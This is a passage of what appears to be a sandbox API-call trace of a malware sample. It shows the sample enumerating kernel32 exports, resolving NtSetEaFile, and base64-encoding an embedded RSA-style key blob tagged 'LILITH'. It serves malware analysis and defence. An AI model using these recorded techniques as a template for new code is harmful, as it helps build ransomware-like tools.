lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0093.686] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0093.686] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0093.686] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0093.686] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0093.686] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0093.686] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0093.686] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0093.686] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0093.686] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0093.687] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0093.687] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0093.687] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0093.687] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0093.687] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0093.687] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0093.687] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0093.687] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0093.687] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0093.687] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0093.687] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0093.687] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0093.687] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0093.687] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0093.687] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0093.687] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0093.687] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0093.687] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0093.687] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0093.688] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0093.688] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0093.688] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0093.688] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0093.688] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0093.688] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0093.688] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0093.688] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0093.688] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0093.688] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0093.688] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0093.688] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0093.688] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0093.688] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0093.688] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0093.688] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0093.688] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0093.688] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0093.688] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0093.689] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0093.689] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0093.689] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0093.689] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0093.689] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0093.689] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0093.689] lstrcpyA (in: lpString1=0x21fdb14, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0093.689] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0093.689] lstrcpyA (in: lpString1=0x21fdb14, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0093.689] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0093.689] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0093.689] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0093.689] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0093.689] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0093.689] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0093.689] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0093.689] lstrcpyA (in: lpString1=0x21fdb14, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0093.689] lstrlenA (lpString="BACKUPREAD") returned 10 [0093.690] lstrcpyA (in: lpString1=0x21fdb14, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0093.690] lstrlenA (lpString="BACKUPSEEK") returned 10 [0093.690] lstrcpyA (in: lpString1=0x21fdb14, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0093.690] lstrlenA (lpString="BACKUPWRITE") returned 11 [0093.690] lstrcpyA (in: lpString1=0x21fdb14, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0093.690] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0093.690] lstrcpyA (in: lpString1=0x21fdb14, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0093.690] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0093.690] lstrcpyA (in: lpString1=0x21fdb14, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0093.690] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0093.690] lstrcpyA (in: lpString1=0x21fdb14, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0093.690] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0093.690] lstrcpyA (in: lpString1=0x21fdb14, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0093.690] lstrcpyA (in: lpString1=0x21fdb14, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0093.691] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0093.691] GetProcAddress (hModule=0x77bb0000, lpProcName="NtSetEaFile") returned 0x77c23550 [0093.691] CryptBinaryToStringA (in: pbBinary=0x21fef7c, cbBinary=0x7a8, dwFlags=0x40000001, pszString=0x0, pcchString=0x21fe7bc | out: pszString=0x0, pcchString=0x21fe7bc) returned 1 [0093.691] VirtualAlloc (lpAddress=0x0, dwSize=0xa39, flAllocationType=0x3000, flProtect=0x4) returned 0x31a0000 [0093.692] CryptBinaryToStringA (in: pbBinary=0x21fef7c, cbBinary=0x7a8, dwFlags=0x40000001, pszString=0x31a0000, pcchString=0x21fe7bc | out: pszString="pA7OSX+6kz4RA+alDit9owu3m4wARUT6vngrHgG9rjXIbvHH58C6zj3UsMz+pYnHNl6MrX4puWn3gMqA61Oc9/5yPoeQl9vPkIQ20zJEY1qrCJhBaXsuMRZvERMx73ZczFopjrlOCUtgHbZYCdM/NL5kqDUg2HtdnfP/5gEMLpIM0TVyJPKdhzL2qF4mcz9GhchABu4M54TswBiOHltV50/fX4Itz6CJeMdmWVWWGKdtMpnXhdTHsMLFzJtMB3TjFdPHIf15CFYoXp0ga8JvkYVXmzz/ii90/Ua+NoB43/FHRg5S78UiHkS9s7ZNR1CDtBfAYyWlC1xZW8pIQogrSlgZ0U/2nqz14YL//scCOTTGwgQvJtNmzuTzVLYnA5VXgaHy5ol7WG6+AKdhn71l0lN5YxadMjZZ1kjbnBmPEDTrik2+bFuNIhAE8EVeFhEo9ZzNiV4cTMpEiQwVgoxHZzXxOlcw9Uv7U+C0XFrqbT71U4KjtrUp+TxJ1i3ox0qlQq5UYo1zPc1AxX6Rn3cpxh1D/Z8GT24DJeiXIKfT15AR83mOc6DPQ2fHyETD9M0/dTppCPD+YsRn+DhRCprpqR/dXzYM9Qs143v3X0089/a6qC5u16SPbjFv+jF3T24QWVp9URUzTkh08y4J9wKXsQ8CvGmQbVEORrcTnTb4p+j4jA4BXnujMttFlAt5CwTnDeY5lgoNGhhbDuMnOa20WINaqparDQpp+rQK6uMFZz1pE2KSu8/sJUhW+SdpImi6xbENgIdXHfq4aSGvjWJdFa/x6QpQADpdgmi9r75sticdrOmKc09aA2iXTUi5S46Mht8qG+xzCR5zC5JtoApUm1MOCsIs6xn1CNmumFZpw3wSyah1fF4zVRBJEdc7ZSi5O2lfUuxrl6VbqNl8RIDFosx/RGfufIUX9utaidlu0e8wfLfdKePMARqCfVY/pTplGfFRRpKw4YwaEuWYkMlwbp5O6bM8lwUny03kWSxGdUV1Wg722PaHdau6kw8Yj3QBbq2Q6ngns0f1eNKtWStdRgNuuEtNqsv7VZUZKrs8a8fYLDmQ7BqBFsFcqR96W6HYN/2rWYwlh4YINaLr6c0sNsnMnQMH9SRjUWOYUJlFGm78YldiPiYkna1ah4HYbtVDvQyyuJntSMau56Lx9CNqUjt/HenfUAHeh++/MtxGDo37ca2ZKFuZeH/6UzL1eniDyr8cAVtk9axYJepc14EYz9KETM+AxVjawhiqBDidLgu5Mch7z3OPK8tNBg38NG4Xx0ddIzD/JZZMsnX8hU24181Hxea2lB5zUwfvAi4T0hXjZuLgBSouBBW6v246L4DPOaMGZuqX0SW2YCCAQNSmo58OEczErH9/4Fyt6YtENrKg34z6oepjdZT7OxVM2GissckU8W6yvv8EgP+SUVIU0FHeOrmTCX+/PbjZdFGLrwZu5UgTDGl9zzoa7wTqAUnsHRhh3J3hreY9JnTqUU0Q7+SrBuWiva7XEH4GjC99710RTyt0u7nLMLRmBHZ9u6OGItyUqbEuTD5cUEvjo4bG9fcQr1WQPtYA424983ZdSLy9WLDS+AOYq9fZn+1q4VQcw4cIzHwpYT/SZxSEuYxDA8VoY0gwSwmbBL/BuhomWyh3BaKirL9zvonKOX2mF8+QIXI8ZawQfD+zA6uqPW4VGzAsnE4olLAtNPqZiNMAA+k66SAnK3VQHMk1gUIPq5pU3s8tEUtVdKeOHxBtqCWXR0obdHT/PjCoMDeIrq5AGoIy0jGjDXD0r3pZL5agoFWk3+SFSf/g7qmbX7/6pT5Z7xcQx2hJiyS2Zxc997U28TOW79TP/1Bck5+Ii6vADyUyMCk4l3lsh7xdjAvliAjKW7QDqlTa0DVddSvt/ROSGP644Idiu6wL0Bx+vXRC20wYWdf51TMpKfq4WhVI4zqEHuaJaXW27aj0DMMKiExkJ1xIXJKKQKY84FvbDD6HMvPIT3bS2g3L+wTaQGNgGQkhOzVZ/EDuAVDPPlHO/ZALegHEL3+R7mZKQ79kRLte5GeGBsCaMo9PzZf3v6rKxTekNMlaR0gaoRsRyFvNia+CNQfMuv3vH434B7rev4hyguEgudSpXZm0617meosWgInf5JHUnIMmLKDUp8mbZ24oPl10BsJ7JHz4iU5vcwEUsMa9eR8i4looYU4GvFCq1a+amZs99/7c3j5s/EIEvYXi4jBqNSY3BUanu1y/JXNXhOmJDXB/BgYCAAAApAAAUlNBMQAIAAABAAEAfVJqcipbDABFecjOLaqbkdiwu5V0TKBjtT8bJN90kapniBBhMufbUY3Ci5iXZWFR0n8TYkwCRW/ngwy8xKFokbcYIPUg8XmK/upPpgV0QKlSqmpxWReWb8JT1p7QWeSKEvAXrcieFiWaz3/795l//xrfVRB0UDXrgkWz3grEF+w+stoMNj3mpF5xwkSOJA7soS2+DAGpkAWiaGHSt83pMyl3aHFpH94iFWfJDE4W5SeVX4Kz46vsHNtAZzCCplRKJYUWq/ilDyXYloGsscRClOfG182JZu4IgTeDXg8N9jl3Yf3fuUPjzkCBRAfNozZ94YzWSjE2U+xr/1EKaiXD1A==", pcchString=0x21fe7bc) returned 1 [0093.692] lstrlenA (lpString="LILITH") returned 6 [0093.692] lstrlenA (lpString="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") returned 2616 [0093.692] VirtualAlloc (lpAddress=0x0, dwSize=0xa4c, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0093.692] lstrlenA (lpString="LILITH") returned 6 [0093.692] lstrlenA (lpString="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") returned 2616 [0093.692] lstrcpyA (in: lpString1=0x31c0008, lpString2="LILITH" | out: lpString1="LILITH") returned="LILITH" [0093.693] lstrcpyA (in: lpString1=0x31c000f, lpString2="pA7OSX+6kz4RA+alDit9owu3m4wARUT6vngrHgG9rjXIbvHH58C6zj3UsMz+pYnHNl6MrX4puWn3gMqA61Oc9/5yPoeQl9vPkIQ20zJEY1qrCJhBaXsuMRZvERMx73ZczFopjrlOCUtgHbZYCdM/NL5kqDUg2HtdnfP/5gEMLpIM0TVyJPKdhzL2qF4mcz9GhchABu4M54TswBiOHltV50/fX4Itz6CJeMdmWVWWGKdtMpnXhdTHsMLFzJtMB3TjFdPHIf15CFYoXp0ga8JvkYVXmzz/ii90/Ua+NoB43/FHRg5S78UiHkS9s7ZNR1CDtBfAYyWlC1xZW8pIQogrSlgZ0U/2nqz14YL//scCOTTGwgQvJtNmzuTzVLYnA5VXgaHy5ol7WG6+AKdhn71l0lN5YxadMjZZ1kjbnBmPEDTrik2+bFuNIhAE8EVeFhEo9ZzNiV4cTMpEiQwVgoxHZzXxOlcw9Uv7U+C0XFrqbT71U4KjtrUp+TxJ1i3ox0qlQq5UYo1zPc1AxX6Rn3cpxh1D/Z8GT24DJeiXIKfT15AR83mOc6DPQ2fHyETD9M0/dTppCPD+YsRn+DhRCprpqR/dXzYM9Qs143v3X0089/a6qC5u16SPbjFv+jF3T24QWVp9URUzTkh08y4J9wKXsQ8CvGmQbVEORrcTnTb4p+j4jA4BXnujMttFlAt5CwTnDeY5lgoNGhhbDuMnOa20WINaqparDQpp+rQK6uMFZz1pE2KSu8/sJUhW+SdpImi6xbENgIdXHfq4aSGvjWJdFa/x6QpQADpdgmi9r75sticdrOmKc09aA2iXTUi5S46Mht8qG+xzCR5zC5JtoApUm1MOCsIs6xn1CNmumFZpw3wSyah1fF4zVRBJEdc7ZSi5O2lfUuxrl6VbqNl8RIDFosx/RGfufIUX9utaidlu0e8wfLfdKePMARqCfVY/pTplGfFRRpKw4YwaEuWYkMlwbp5O6bM8lwUny03kWSxGdUV1Wg722PaHdau6kw8Yj3QBbq2Q6ngns0f1eNKtWStdRgNuuEtNqsv7VZUZKrs8a8fYLDmQ7BqBFsFcqR96W6HYN/2rWYwlh4YINaLr6c0sNsnMnQMH9SRjUWOYUJlFGm78YldiPiYkna1ah4HYbtVDvQyyuJntSMau56Lx9CNqUjt/HenfUAHeh++/MtxGDo37ca2ZKFuZeH/6UzL1eniDyr8cAVtk9axYJepc14EYz9KETM+AxVjawhiqBDidLgu5Mch7z3OPK8tNBg38NG4Xx0ddIzD/JZZMsnX8hU24181Hxea2lB5zUwfvAi4T0hXjZuLgBSouBBW6v246L4DPOaMGZuqX0SW2YCCAQNSmo58OEczErH9/4Fyt6YtENrKg34z6oepjdZT7OxVM2GissckU8W6yvv8EgP+SUVIU0FHeOrmTCX+/PbjZdFGLrwZu5UgTDGl9zzoa7wTqAUnsHRhh3J3hreY9JnTqUU0Q7+SrBuWiva7XEH4GjC99710RTyt0u7nLMLRmBHZ9u6OGItyUqbEuTD5cUEvjo4bG9fcQr1WQPtYA424983ZdSLy9WLDS+AOYq9fZn+1q4VQcw4cIzHwpYT/SZxSEuYxDA8VoY0gwSwmbBL/BuhomWyh3BaKirL9zvonKOX2mF8+QIXI8ZawQfD+zA6uqPW4VGzAsnE4olLAtNPqZiNMAA+k66SAnK3VQHMk1gUIPq5pU3s8tEUtVdKeOHxBtqCWXR0obdHT/PjCoMDeIrq5AGoIy0jGjDXD0r3pZL5agoFWk3+SFSf/g7qmbX7/6pT5Z7xcQx2hJiyS2Zxc997U28TOW79TP/1Bck5+Ii6vADyUyMCk4l3lsh7xdjAvliAjKW7QDqlTa0DVddSvt/ROSGP644Idiu6